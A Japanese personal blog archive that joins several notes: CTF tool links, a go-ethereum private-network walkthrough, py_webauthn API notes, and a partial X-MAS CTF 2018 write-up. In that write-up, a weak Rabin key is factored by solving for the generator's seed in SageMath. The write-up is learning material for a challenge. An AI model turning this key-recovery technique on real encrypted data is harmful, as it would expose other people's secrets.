CTFで使うWebツールまとめ(個人用)
はじめに
自分用のCTFで使うWebツールのリンク集です。
忘れたやつとか結構あるので適宜追加していく予定です。
crypto
web
- https://requestbin.fullcontact.com/
- http://imaya.github.io/png.identify/
- https://beautifier.io/
- http://www.compileonline.com/execute_sql_online.php
rev
いろいろ
go-ethereum環境構築&動作確認めも
はじめに
個人的に動作確認した際のただのメモなので正確な手順は公式や他の記事を参考にしていただければ幸いです。
動作環境用意
環境
今回は以下の環境で動作検証を行なった。
VirtualBox 6.0.2 r128162 (Qt5.6.3) Vagrant 2.2.2 Ubuntu 14.04.5 LTS, Trusty Tahr
環境構築は以下のコマンドで行う。
vagrant init ubuntu/trusty64 vagrant up
Gethのインストール(Ubuntu)
インストール方法は以下に記載されている。今回は Installing from PPA に沿ってインストールを行う。
$ sudo apt-get install software-properties-common $ sudo add-apt-repository -y ppa:ethereum/ethereum $ sudo apt-get update $ sudo apt-get install ethereum
この度の動作確認時にインストールされたのは以下のバージョンだった。
$ geth version WARN [01-19|07:13:43.244] Sanitizing cache to Go's GC limits provided=1024 updated=331 Geth Version: 1.8.21-stable Git Commit: 9dc5d1a915ac0e0bd8429d6ac41df50eec91de5f Architecture: amd64 Protocol Versions: [63 62] Network Id: 1 Go Version: go1.10.4 Operating System: linux GOPATH= GOROOT=/usr/lib/go-1.10
動作確認手順
プライベート・ネットワークに接続
Genesisファイルの作成
Genesisファイルとは,ブロックチェーンの最初(Block番号 "0")のブロックであるGenesisブロックの情報が記述されたファイルである。
プライベート・ネットでは独自のブロックチェーンをやり取りするので,独自のGenesisブロックを定義したGenesisファイルを用意して利用する。
まず,任意の場所にブロック情報やノード情報など各種データを格納するディレクトリを作成する。
$ mkdir /home/vagrant/eth_private_net
作成したディレクトリにjson形式の下記の内容のgenesisファイルを作成する。
{ "config": { "chainId": 15 }, "nonce": "0x0000000000000042", "timestamp": "0x0", "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "extraData": "", "gasLimit": "0x8000000", "difficulty": "0x4000", "mixhash": "0x0000000000000000000000000000000000000000000000000000000000000000", "coinbase": "0x3333333333333333333333333333333333333333", "alloc": {} }
Gethをプライベート・ネットで起動
genesisブロックの初期化
genesisファイルの作成ができたら以下のコマンドを実行しブロックチェーン情報をgenesisファイルの内容で初期化する。
以下のコマンドを実行すると、--datadirで指定したディレクトリ以下にgenesisブロックのブロックチェーン情報が保存される。
$ geth --datadir /home/vagrant/eth_private_net init /home/vagrant/eth_private_net/genesis.json
gethの起動
以下のコマンドを実行してGethを起動する。
$ geth --networkid "15" --nodiscover --datadir "/home/vagrant/eth_private_net" console 2>> /home/vagrant/eth_private_net/geth_err.log
各オプションについては以下のとおり。
--networkid : ネットワーク識別子(0 ~ 3は予約済み)。
--nodiscover : 自分のノードを他のノードから検出できないようにする。
--datadir : データディレクトリの指定。
console : 対話型のJavaScriptコンソールを起動する。
--maxpeers 0 : ノードに接続できるノード数。0を指定すると他のノードとは接続しなくなる。
立ち上げたプライベート・ネットのGenesisブロックの情報がgenesisファイルに記載されたものになっているのか確認する。
> eth.getBlock(0)
etherの採掘
アカウントの作成
EthereumにはEOA(Externally Owned Account)とContractの2種類のアカウントが存在する。
ここでは,EOAアカウントの新規作成手順を示す。
eth.accountsコマンドを実行すると,このノード内で作成されたEOAのリストが表示される。現時点のようなアカウントが作成されていない状態だと下記のような表示になる。
> eth.accounts [ ]
EOAの作成はpersonal.newAccount("passwd")
コマンドで行う。passwdの部分は作成するEOAのパスワードになる。
> personal.newAccount("passwd") # 1つ目のアカウント作成 "0xce9603a4a222979ba0fcde0e39feb63cf632d135" > eth.accounts ["0xce9603a4a222979ba0fcde0e39feb63cf632d135"] > personal.newAccount("passwd") # 2つ目のアカウント作成 "0x50245736a8d54edd7e0cac74810eb1224d6ead03" > eth.accounts ["0xce9603a4a222979ba0fcde0e39feb63cf632d135", "0x50245736a8d54edd7e0cac74810eb1224d6ead03"]
Etherbase
Ethereumではマイニング成功時に報酬を受け取るアカウントをEtherbaseと言い,eth.coinbase
コマンドで報酬と紐づくEOAのアドレスを表示することができる。
> eth.coinbase "0xce9603a4a222979ba0fcde0e39feb63cf632d135"
デフォルトではプライマリーのアカウント(eth.accounts[0]コマンドを実行して表示されるアドレスのEOA)がせっていされるが以下のコマンドで変更もできる。
> miner.setEtherbase(eth.accounts[1]) true > eth.coinbase "0x50245736a8d54edd7e0cac74810eb1224d6ead03"
etherの採掘
miner.start(thread_num)
コマンドで採掘が開始される。thread_num によって何本のスレッドで採掘を実行するかを指定することができる。(指定しない場合は動作環境でのCPUコア数に設定されるらしい)
> miner.start() null
停止は以下のコマンドで行うことができる。
> miner.stop() null
採掘状況はeth.blockNumber
コマンドで確認できる。また,採掘中かどうかはeth.mining
コマンドで確認できる。採掘中であればtrue,そうでなければfalseが表示される。
> eth.blockNumber 1 > eth.mining true
採掘内容はeth.getBlock(number)
コマンドで確認できる。numberに任意のブロック高を指定すると、そのブロック高のブロック情報を表示することができる。
> eth.getBlock(0) { difficulty: 16384, extraData: "0x", gasLimit: 134217728, gasUsed: 0, hash: "0x7b2e8be699df0d329cc74a99271ff7720e2875cd2c4dd0b419ec60d1fe7e0432", logsBloom: "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", miner: "0x3333333333333333333333333333333333333333", mixHash: "0x0000000000000000000000000000000000000000000000000000000000000000", nonce: "0x0000000000000042", number: 0, parentHash: "0x0000000000000000000000000000000000000000000000000000000000000000", receiptsRoot: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", sha3Uncles: "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", size: 507, stateRoot: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", timestamp: 0, totalDifficulty: 16384, transactions: [], transactionsRoot: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", uncles: [] } > eth.getBlock(1) { difficulty: 131072, extraData: "0xd883010815846765746888676f312e31302e34856c696e7578", gasLimit: 134086657, gasUsed: 0, hash: "0x391fc5bd192bc90fbaf6bf51ad0721c55f1147640783745910aae95848d86f31", logsBloom: "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", miner: "0x50245736a8d54edd7e0cac74810eb1224d6ead03", mixHash: "0x999150e0ac733c083225c7e9d65a928e0489d59f4379e3d7f5f51754301634f1", nonce: "0x595696ed6b06cf5e", number: 1, parentHash: "0x7b2e8be699df0d329cc74a99271ff7720e2875cd2c4dd0b419ec60d1fe7e0432", receiptsRoot: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", sha3Uncles: "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", size: 537, stateRoot: "0xe8be75d3945c744d140ed5cf2a8a1397edc2098bdaa93d11db11dc15c1077392", timestamp: 1547736394, totalDifficulty: 147456, transactions: [], transactionsRoot: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", uncles: [] }
報酬の確認
以下のコマンド
etherの持ち高の参照はeth.getBalance(address)
コマンドで行うことができる。addressパラメータには持ち高を確認したいアカウントのアドレスを渡す。
> eth.accounts ["0xce9603a4a222979ba0fcde0e39feb63cf632d135", "0x50245736a8d54edd7e0cac74810eb1224d6ead03"] > eth.coinbase == eth.accounts[0] false > eth.coinbase == eth.accounts[1] true > eth.getBalance(eth.accounts[0]) 0 > eth.getBalance(eth.accounts[1]) 5000000000000000000
etherの送金
今回作成したアカウントのetherの持ち高を確認する。
> eth.accounts ["0xce9603a4a222979ba0fcde0e39feb63cf632d135", "0x50245736a8d54edd7e0cac74810eb1224d6ead03"] > eth.getBalance(eth.accounts[0]) 0 > eth.getBalance(eth.accounts[1]) 5000000000000000000
送金の前に送金元のロックを解除する必要がある。
> personal.unlockAccount(eth.accounts[1]) Unlock account 0x50245736a8d54edd7e0cac74810eb1224d6ead03 Passphrase: true
eth.sendTransaction
コマンドで送金を行う。fromに送金元アドレス,toに宛先アドレス,valueに送金額を指定する。
> eth.sendTransaction({from: eth.accounts[1], to: eth.accounts[0], value: web3.toWei(1, "ether")}) "0xcf632c7958bbf108d64e28b4b708b5bab457874acf5897ce13bded7fe2c84f3c"
実行結果としてトランザクションIDが返されるので確認する。
> eth.getTransaction("0xcf632c7958bbf108d64e28b4b708b5bab457874acf5897ce13bded7fe2c84f3c") { blockHash: "0x0000000000000000000000000000000000000000000000000000000000000000", blockNumber: null, from: "0x50245736a8d54edd7e0cac74810eb1224d6ead03", gas: 90000, gasPrice: 1000000000, hash: "0xcf632c7958bbf108d64e28b4b708b5bab457874acf5897ce13bded7fe2c84f3c", input: "0x", nonce: 0, r: "0x9676139862249d573bfbc9d25ea992b883e6f6df0265198e11e6a40c3a646d8b", s: "0x2332aba6a836642ab9c4d6cc6fa5935ff2529872f26c929f94b8f746c7e0673b", to: "0xce9603a4a222979ba0fcde0e39feb63cf632d135", transactionIndex: 0, v: "0x1b", value: 1000000000000000000 }
マイニングを停止していると,このトランザクションがブロックに取り込まれず,送金が完了しない。マイニングを再開してしばらく経つと,トランザクションがブロックに取り込まれ,blockNumber の値が null から取り込まれたブロックの番号に変更される。
> miner.start() > eth.getTransaction("0xcf632c7958bbf108d64e28b4b708b5bab457874acf5897ce13bded7fe2c84f3c") { blockHash: "0x25c94d690483015ed86ac96156523799ce09066e58b1a86b08448ae25a83fee8", blockNumber: 2, from: "0x50245736a8d54edd7e0cac74810eb1224d6ead03", gas: 90000, gasPrice: 1000000000, hash: "0xcf632c7958bbf108d64e28b4b708b5bab457874acf5897ce13bded7fe2c84f3c", input: "0x", nonce: 0, r: "0x9676139862249d573bfbc9d25ea992b883e6f6df0265198e11e6a40c3a646d8b", s: "0x2332aba6a836642ab9c4d6cc6fa5935ff2529872f26c929f94b8f746c7e0673b", to: "0xce9603a4a222979ba0fcde0e39feb63cf632d135", transactionIndex: 0, v: "0x1b", value: 1000000000000000000 }
トランザクションがブロックに取り込まれ送金が完了するとaccounts[0] の残高が増えていることが確認できる。
> web3.fromWei(eth.getBalance(eth.accounts[0]), "ether") 1
コンソールの終了はexitで行う。
> exit
おわりに
次はスマートコントラクトの作成と実行の手順を残そうと思う。
参考
WebAuthnライブラリ調査めも(PyWebAuthn)
WebAuthnライブラリ調査めも(PyWebAuthn)
はじめに
そろそろ自分でもWebAuthnのライブラリを作りたいと思い、その前に既存の
WebAuthnライブラリを調査した際のメモ。
今回調査したのは以下のpy_webauthnというpythonのライブラリ。
結論から言うと、py_webauthnを利用することで以下のことができた。
- navigator.credentials.create()で必要な引数の生成
- attestationの検証
- navigator.credentials.get()で必要な引数の生成
- assertionの検証
検証環境
色々試してるときは以下の環境で行なっていました。
Python 3.7.1 pip 18.1 Google Chrome 71.0.3578.98
インストールはこんな感じでできます。
pip install webauthn
今回はversion0.4で試しました。
もちろんversionが更新され次第モジュールの中身はが変わる思いますので、詳細は公式のリポジトリやドキュメントを参照いただければ幸いです。
クラス
PyWebAuthnでFIDO2なサーバーを実装する際、主に以下の5つのクラスを利用します。
- WebAuthnMakeCredentialOptions
- WebAuthnRegistrationResponse
- WebAuthnUser
- WebAuthnAssertionOptions
- WebAuthnAssertionResponse
WebAuthnMakeCredentialOptions
navigator.credentials.create()のオプションを生成。
make_credential_options = webauthn.WebAuthnMakeCredentialOptions( challenge, rp_name, rp_id, user_id, username, display_name, icon_url) return jsonify(make_credential_options.registration_dict)
IN
名前 | 説明 | サンプル |
---|---|---|
challenge | 乱数 | eUh0QEZmFFIB9liCconUwrIInAg1wr5F |
rp_name | RPの名前 | localhost |
rp_id | RPの識別子 | localhost |
user_id | ユーザーの識別子 | mboMB0WRtZtXwLDfv8gp |
username | ユーザー名 | hoge |
display_name | ユーザーの表示名 | hoge |
icon_url | ユーザーのアイコン | 'https://excample.com' |
ここで引数として指定しないnavigator.credentials.create()のオプションはモジュールが内部で持っており、指定できなさそう。
OUT
名前 | 説明 | サンプル |
---|---|---|
make_credential_options | オブジェクト | |
make_credential_options.registration_dict | navigator.credentials.create() で利用する引数 | {'challenge': 'MwBz8Jfjy9DzkwL8OfLYL8i0NxXFtC3t', 'rp': {'name': 'localhost', 'id': 'localhost'}, 'user': {'id': 'nlCeE9NB4OjUjNth5RnU', 'name': 'fuga', 'displayName': 'fuga', 'icon': 'https://example.com'}, 'pubKeyCredParams': [{'alg': -7, 'type': 'public-key'}, {'alg': -257, 'type': 'public-key'}, {'alg': -37, 'type': 'public-key'}], 'timeout': 60000, 'excludeCredentials': [], 'attestation': 'direct', 'extensions': {'webauthn.loc': True}} |
WebAuthnAssertionOptions
navigator.credentials.get()のオプションを生成。
webauthn_assertion_options = webauthn.WebAuthnAssertionOptions( webauthn_user, challenge)
IN
名前 | 説明 | サンプル |
---|---|---|
webauthn_user | オブジェクト | nlCeE9NB4OjUjNth5RnU (fuga, fuga, 161) |
challenge | 乱数 | eUh0QEZmFFIB9liCconUwrIInAg1wr5F |
WebAuthnUser
webauthn_user = webauthn.WebAuthnUser(
user.id,
user.username,
user.display_name,
user.icon_url,
user.credential_id,
user.pub_key,
user.sign_count,
user.rp_id)
IN
名前 | 説明 | サンプル |
---|---|---|
id | ユーザーの識別子 | nlCeE9NB4OjUjNth5RnU |
username | ユーザー名 | fuga |
display_name | ユーザーの表示名 | fuga |
icon_url | ユーザーのアイコン | https://example.com |
credential_id | 公開鍵に紐づく識別子 | NlMC9-6s84VC0Hl1_3o4Z6LewYNMMtGfhzWZRMZQO9nln7A7Lk4K1in9L4iqYE-a498HW3IoEAyQoYl3sRiY0A |
pub_key | 公開鍵 | b'pQECAyYgASFYIPBdJY7nJ6pQF4JjUwRjaq3_G5LofeGqfNUlZOhg0LgeIlggCHgIXCtgr--H4Kn2mfwfQ-JDeBhn1zKMu8leMAseTrw' |
sign_count | カウンタ | 161 |
rp_id | RPの識別子 | localhost |
OUT
名前 | 説明 | サンプル |
---|---|---|
webauthn_user | オブジェクト | nlCeE9NB4OjUjNth5RnU (fuga, fuga, 161) |
WebAuthnRegistrationResponse
Attestationの検証に必要なパラメーター(主にnavigator.credentials.createの戻り)を渡してオブジェクトを生成。 verifyメソッドを呼び出すことで検証を行う。
webauthn_registration_response = webauthn.WebAuthnRegistrationResponse( RP_ID, ORIGIN, registration_response, challenge, trust_anchor_dir, trusted_attestation_cert_required, self_attestation_permitted, none_attestation_permitted, uv_required=False) # User Verification try: webauthn_credential = webauthn_registration_response.verify() except Exception as e: return jsonify({'fail': 'Registration failed. Error: {}'.format(e)})
IN
名前 | 説明 | サンプル |
---|---|---|
RP_ID | RPの識別子 | localhost |
ORIGIN | RPのオリジン | localhost |
registration_response | navigator.credentials.create()の戻り値を含むImmutableMultiDictオブジェクト | ImmutableMultiDict([('id', 'NlMC9-6s84VC0Hl1_3o4Z6LewYNMMtGfhzWZRMZQO9nln7A7Lk4K1in9L4iqYE-a498HW3IoEAyQoYl3sRiY0A'), ('rawId', 'NlMC9-6s84VC0Hl1_3o4Z6LewYNMMtGfhzWZRMZQO9nln7A7Lk4K1in9L4iqYE-a498HW3IoEAyQoYl3sRiY0A'), ('type', 'public-key'), ('attObj', 'o2NmbXRmcGFja2VkZ2F0dFN0bXSjY2FsZyZjc2lnWEgwRgIhAPcJ8rNHotiTW3KjTYxXwttQDV0hh3yIwy_nnlSz16hXAiEAjVR0qqjZ7PClJ7UAh3TmrdHIlg_3y3aVhSb_o4DEtZJjeDVjgVkCwjCCAr4wggGmoAMCAQICBHSG_cIwDQYJKoZIhvcNAQELBQAwLjEsMCoGA1UEAxMjWXViaWNvIFUyRiBSb290IENBIFNlcmlhbCA0NTcyMDA2MzEwIBcNMTQwODAxMDAwMDAwWhgPMjA1MDA5MDQwMDAwMDBaMG8xCzAJBgNVBAYTAlNFMRIwEAYDVQQKDAlZdWJpY28gQUIxIjAgBgNVBAsMGUF1dGhlbnRpY2F0b3IgQXR0ZXN0YXRpb24xKDAmBgNVBAMMH1l1YmljbyBVMkYgRUUgU2VyaWFsIDE5NTUwMDM4NDIwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAASVXfOt9yR9MXXv_ZzE8xpOh4664YEJVmFQ-ziLLl9lJ79XQJqlgaUNCsUvGERcChNUihNTyKTlmnBOUjvATevto2wwajAiBgkrBgEEAYLECgIEFTEuMy42LjEuNC4xLjQxNDgyLjEuMTATBgsrBgEEAYLlHAIBAQQEAwIFIDAhBgsrBgEEAYLlHAEBBAQSBBD4oBHzjApNFYAGFxEfntx9MAwGA1UdEwEB_wQCMAAwDQYJKoZIhvcNAQELBQADggEBADFcSIDmmlJ-OGaJvWn9CqhvSeueToVFQVVvqtALOgCKHdwB-Wx29mg2GpHiMsgQp5xjB0ybbnpG6x212FxESJ-GinZD0ipchi7APwPlhIvjgH16zVX44a4e4hOsc6tLIOP71SaMsHuHgCcdH0vg5d2sc006WJe9TXO6fzV-ogjJnYpNKQLmCXoAXE3JBNwKGBIOCvfQDPyWmiiG5bGxYfPty8Z3pnjX-1MDnM2hhr40ulMxlSNDnX_ZSnDyMGIbk8TOQmjTF02UO8auP8k3wt5D1rROIRU9-FCSX5WQYi68RuDrGMZB8P5-byoJqbKQdxn2LmE1oZAyohPAmLcoPO5oYXV0aERhdGFYxEmWDeWIDoxodDQXD2R2YFuP5K65ooYyx5lc87qDHZdjQQAAAKH4oBHzjApNFYAGFxEfntx9AEA2UwL37qzzhULQeXX_ejhnot7Bg0wy0Z-HNZlExlA72eWfsDsuTgrWKf0viKpgT5rj3wdbcigQDJChiXexGJjQpQECAyYgASFYIPBdJY7nJ6pQF4JjUwRjaq3_G5LofeGqfNUlZOhg0LgeIlggCHgIXCtgr--H4Kn2mfwfQ-JDeBhn1zKMu8leMAseTrw'), ('clientData', 'eyJjaGFsbGVuZ2UiOiJNd0J6OEpmank5RHprd0w4T2ZMWUw4aTBOeFhGdEMzdCIsIm9yaWdpbiI6Imh0dHBzOi8vbG9jYWxob3N0OjUwMDAiLCJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIn0'), ('registrationClientExtensions', '{}')]) |
challenge | 乱数 | eUh0QEZmFFIB9liCconUwrIInAg1wr5F |
trust_anchor_dir | 証明書を配置するディレクトリ | /py_webauthn/flask_demo/trusted_attestation_roots |
trusted_attestation_cert_required | 信頼されたattestation certを要求するか | True |
self_attestation_permitted | self attestationを許可するか | False |
none_attestation_permitted, | attestationの検証をするかどうか | True |
uv_required | UserVerificationを要求するか | False |
registration_responseはImmutableMultiDictオブジェクトである必要がある。以下のようにフロントエンドから送信することでImmutableMultiDictオブジェクトとして扱うことができるようだ。
const newAttestationForServer = { id: credential.id, rawId: btoa(rawId), type: credential.type, attObj: btoa(attObj), clientData: btoa(clientDataJSON), registrationClientExtensions: JSON.stringify(registrationClientExtensions) } const formData = new FormData(); Object.entries(newAttestationForServer).forEach(([key, value]) => { formData.set(key, value); }); return fetch('/attestation/result', { method: 'POST', body: formData })
WebAuthnRegistrationResponse.verify()
Attestationの検証を行う。
OUT
名前 | 説明 | サンプル |
---|---|---|
webauthn_credential | rp_id, origin, cred_id, credential_public_key, sign_countなどを含むWebAuthnCredentialオブジェクト | b'NlMC9-6s84VC0Hl1_3o4Z6LewYNMMtGfhzWZRMZQO9nln7A7Lk4K1in9L4iqYE-a498HW3IoEAyQoYl3sRiY0A' (localhost, https://localhost:5000, 161) |
WebAuthnAssertionResponse
Assertionの検証に必要なパラメーター(主にnavigator.credentials.getの戻り)を渡してオブジェクトを生成。 verifyメソッドを呼び出すことで検証を行う。
webauthn_user = webauthn.WebAuthnUser( user.ukey, user.username, user.display_name, user.icon_url, user.credential_id, user.pub_key, user.sign_count, user.rp_id) webauthn_assertion_response = webauthn.WebAuthnAssertionResponse( webauthn_user, assertion_response, challenge, origin, uv_required=False) # User Verification try: sign_count = webauthn_assertion_response.verify() except Exception as e: return jsonify({'fail': 'Assertion failed. Error: {}'.format(e)}) # Update counter. user.sign_count = sign_count
IN
名前 | 説明 | サンプル |
---|---|---|
webauthn_user | オブジェクト | nlCeE9NB4OjUjNth5RnU (fuga, fuga, 161) |
assertion_response | navigator.credentials.get()の戻り値を含むImmutableMultiDictオブジェクト | ImmutableMultiDict([('id', 'NlMC9-6s84VC0Hl1_3o4Z6LewYNMMtGfhzWZRMZQO9nln7A7Lk4K1in9L4iqYE-a498HW3IoEAyQoYl3sRiY0A'), ('rawId', 'NlMC9-6s84VC0Hl1_3o4Z6LewYNMMtGfhzWZRMZQO9nln7A7Lk4K1in9L4iqYE-a498HW3IoEAyQoYl3sRiY0A'), ('type', 'public-key'), ('authData', 'SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MBAAAAog=='), ('clientData', 'eyJjaGFsbGVuZ2UiOiJiRmRpYmI3ZnQ1UVB2Zk9RT2ZDc2ZUbDJNdUhKYXJBUCIsIm9yaWdpbiI6Imh0dHBzOi8vbG9jYWxob3N0OjUwMDAiLCJ0eXBlIjoid2ViYXV0aG4uZ2V0In0='), ('signature', '30450220439462e37bfeed9243789c91b3cfdcf95f5d4f9c1c08d725dae7892cee8bd687022100c528f5e70954213c55bfbbe8ccc201d68f06d83da69ce6c68c8092e04a1f08f3'), ('assertionClientExtensions', '{}')]) |
challenge | 乱数 | eUh0QEZmFFIB9liCconUwrIInAg1wr5F |
origin | RPのオリジン | localhost |
uv_required | User Verificationを要求するか | False |
WebAuthnAssertionResponse.verify()
Assertionの検証を行う。
OUT
名前 | 説明 | サンプル |
---|---|---|
sign_count | カウンタ | 162 |
動作確認
py_webauthnのリポジトリにはデモも用意してあり,簡単にパラメーターを変えたりして試すことができる。 github.com
以下は色々試していたときの画面。YubiKeyによる登録,認証はできた。
参考
X-MAS CTF 2018 供養(crypto)
X-MAS CTF 2018の復習をします。crypto全然解けなかったので自分への戒めも込めて別枠で復習。
Hanukkah
以下問題文。
Most of the old religions celebrate Christmas in one way or another! hannukah.zip
とりあえずzipを展開すると、Hanukkah.py
、pubkey.docx
、flag.enc
という3つのファイルが入っていた。 中身はそれぞれ以下のとおり。
- Hanukkah.py
from Crypto.Util.number import isPrime from random import getrandbits def genKey(k): while True: r=getrandbits(k) while(r%2): r=getrandbits(k) p = 3 * r**2 + 2 * r + 7331 q = 17 * r**2 + 18 * r + 1339 n = p * q if(isPrime(p) and isPrime(q)): return (p,q) , n def encrypt(m,pubkey): c=m**2 % pubkey return c privkey,pubkey = genKey(256) flag = open('flag.txt').read().strip() while(len(flag)<125): flag+='X' flag = int(flag.encode('hex'),16) ct=encrypt(flag,pubkey) with open('flag.enc','w') as f: f.write('ct = ' + str(ct)) with open('pubkey.txt','w') as f: f.write('pubkey = ' + str(pubkey)) with open('privkey.txt','w') as f: f.write('privkey = ' + str(privkey))
- flag.enc
ct = 66888784942083126019153811303159234927089875142104191133776750131159613684832139811204509826271372659492496969532819836891353636503721323922652625216288408158698171649305982910480306402937468863367546112783793370786163668258764837887181566893024918981141432949849964495587061024927468880779183895047695332465
- pubkey.docx
pubkey = 577080346122592746450960451960811644036616146551114466727848435471345510503600476295033089858879506008659314011731832530327234404538741244932419600335200164601269385608667547863884257092161720382751699219503255979447796158029804610763137212345011761551677964560842758022253563721669200186956359020683979540809
flag.enc
とpubkey.docx
はそれぞれ、暗号文、公開鍵に相当する値なので、一旦放置して、Hanukkah.pyを見ていく。(特別短い値というわけでもなさそうなので。。。
Hanukkah.pyの中には、暗号化の処理と、鍵生成の処理の関数が存在していた。(復号用の関数は特になさそう)
encrypt()を見てみると、暗号化はとなっているようだ。一見、RSAの公開鍵であるeを2にしたような処理かと思っていたが、
Rabin暗号であるという解釈が正しいらしい。
def encrypt(m,pubkey): c=m**2 % pubkey return c
genKey()を見ていく。genKey()のざっくりとした処理は、乱数から素数と素数を生成し、素数、を乗算した結果を公開鍵として出力している。こちらも一見RSAにあるような処理だが、素数、の生成の仕方が特徴的である。
def genKey(k): while True: r=getrandbits(k) while(r%2): r=getrandbits(k) p = 3 * r**2 + 2 * r + 7331 q = 17 * r**2 + 18 * r + 1339 n = p * q if(isPrime(p) and isPrime(q)): return (p,q) , n
とりあえず、乱数を復元し、、を求められるか試す。とはそれぞれ以下のような二次方程式である。
また、Nは以下のような四次方程式になる。
どうやらこのくらいの四次方程式ならsagemathで簡単に解けるらしい。
r = var('r') p = 3 * r**2 + 2 * r + 7331 q = 17 * r**2 + 18 * r + 1339 n = 577080346122592746450960451960811644036616146551114466727848435471345510503600476295033089858879506008659314011731832530327234404538741244932419600335200164601269385608667547863884257092161720382751699219503255979447796158029804610763137212345011761551677964560842758022253563721669200186956359020683979540809 print(solve([p*q == n], r))
実行結果は以下のようになった。
$ sage solve.sage [ r == -1/306*2^(1/3)*(153*sqrt(15147150630629000233804099452906101530934498191519647372356855149628789898185342413449836545900924662176230915294233370033963114644930012543565154246564399307994638439115638993183241400679583377149678122807648637577134435844295862489220640130051235448412196666616140954176530088660572814324543526976182025566317867574806379719140477173890301822047212775915209877434199260588836314486598090996510297680974690331976003346468620814300052353074520740824643178183803211195)*sqrt(51) - 129398759599399029878538864574409097631593624315136752522578442202900377311534041642773374695881782587166702224211678308439051036481714875871713370811022131963402610901118373474257540602240876772216885599860605597381607467985074933522361)^(1/3)*(I*sqrt(3) + 1) - 4374650985893276104010003272325976898933572037179781744103021230488477995911375200505744036399526360125671364924951827208525285830472388678182701342414992024/153*2^(2/3)*(I*sqrt(3) - 1)/(153*sqrt(15147150630629000233804099452906101530934498191519647372356855149628789898185342413449836545900924662176230915294233370033963114644930012543565154246564399307994638439115638993183241400679583377149678122807648637577134435844295862489220640130051235448412196666616140954176530088660572814324543526976182025566317867574806379719140477173890301822047212775915209877434199260588836314486598090996510297680974690331976003346468620814300052353074520740824643178183803211195)*sqrt(51) - 129398759599399029878538864574409097631593624315136752522578442202900377311534041642773374695881782587166702224211678308439051036481714875871713370811022131963402610901118373474257540602240876772216885599860605597381607467985074933522361)^(1/3) - 2957921900893691988152446008625867048893493730601028771719173070390091206938194/153, r == -1/306*2^(1/3)*(153*sqrt(15147150630629000233804099452906101530934498191519647372356855149628789898185342413449836545900924662176230915294233370033963114644930012543565154246564399307994638439115638993183241400679583377149678122807648637577134435844295862489220640130051235448412196666616140954176530088660572814324543526976182025566317867574806379719140477173890301822047212775915209877434199260588836314486598090996510297680974690331976003346468620814300052353074520740824643178183803211195)*sqrt(51) - 129398759599399029878538864574409097631593624315136752522578442202900377311534041642773374695881782587166702224211678308439051036481714875871713370811022131963402610901118373474257540602240876772216885599860605597381607467985074933522361)^(1/3)*(-I*sqrt(3) + 1) + 4374650985893276104010003272325976898933572037179781744103021230488477995911375200505744036399526360125671364924951827208525285830472388678182701342414992024/153*2^(2/3)*(I*sqrt(3) + 1)/(153*sqrt(15147150630629000233804099452906101530934498191519647372356855149628789898185342413449836545900924662176230915294233370033963114644930012543565154246564399307994638439115638993183241400679583377149678122807648637577134435844295862489220640130051235448412196666616140954176530088660572814324543526976182025566317867574806379719140477173890301822047212775915209877434199260588836314486598090996510297680974690331976003346468620814300052353074520740824643178183803211195)*sqrt(51) - 129398759599399029878538864574409097631593624315136752522578442202900377311534041642773374695881782587166702224211678308439051036481714875871713370811022131963402610901118373474257540602240876772216885599860605597381607467985074933522361)^(1/3) - 2957921900893691988152446008625867048893493730601028771719173070390091206938194/153, r == 1/153*2^(1/3)*(153*sqrt(15147150630629000233804099452906101530934498191519647372356855149628789898185342413449836545900924662176230915294233370033963114644930012543565154246564399307994638439115638993183241400679583377149678122807648637577134435844295862489220640130051235448412196666616140954176530088660572814324543526976182025566317867574806379719140477173890301822047212775915209877434199260588836314486598090996510297680974690331976003346468620814300052353074520740824643178183803211195)*sqrt(51) - 129398759599399029878538864574409097631593624315136752522578442202900377311534041642773374695881782587166702224211678308439051036481714875871713370811022131963402610901118373474257540602240876772216885599860605597381607467985074933522361)^(1/3) - 8749301971786552208020006544651953797867144074359563488206042460976955991822750401011488072799052720251342729849903654417050571660944777356365402684829984048/153*2^(2/3)/(153*sqrt(15147150630629000233804099452906101530934498191519647372356855149628789898185342413449836545900924662176230915294233370033963114644930012543565154246564399307994638439115638993183241400679583377149678122807648637577134435844295862489220640130051235448412196666616140954176530088660572814324543526976182025566317867574806379719140477173890301822047212775915209877434199260588836314486598090996510297680974690331976003346468620814300052353074520740824643178183803211195)*sqrt(51) - 129398759599399029878538864574409097631593624315136752522578442202900377311534041642773374695881782587166702224211678308439051036481714875871713370811022131963402610901118373474257540602240876772216885599860605597381607467985074933522361)^(1/3) - 2957921900893691988152446008625867048893493730601028771719173070390091206938194/153, r == 57998468644974352708871490365213079390068504521588799445473981772354729547806 ]
これでが57998468644974352708871490365213079390068504521588799445473981772354729547806
であることがわかったので、、がそれぞれ以下のように求められる。
r = 57998468644974352708871490365213079390068504521588799445473981772354729547806 p = 3 * r**2 + 2 * r + 7331 q = 17 * r**2 + 18 * r + 1339
Rabin暗号の復号は次のように行われるらしい。
暗号文をとし、次の2つの連立方程式の解が求める平文になる。このとき、暗号文は単射ではないため、復号の際に一意に平文を求めることができないそうだ。
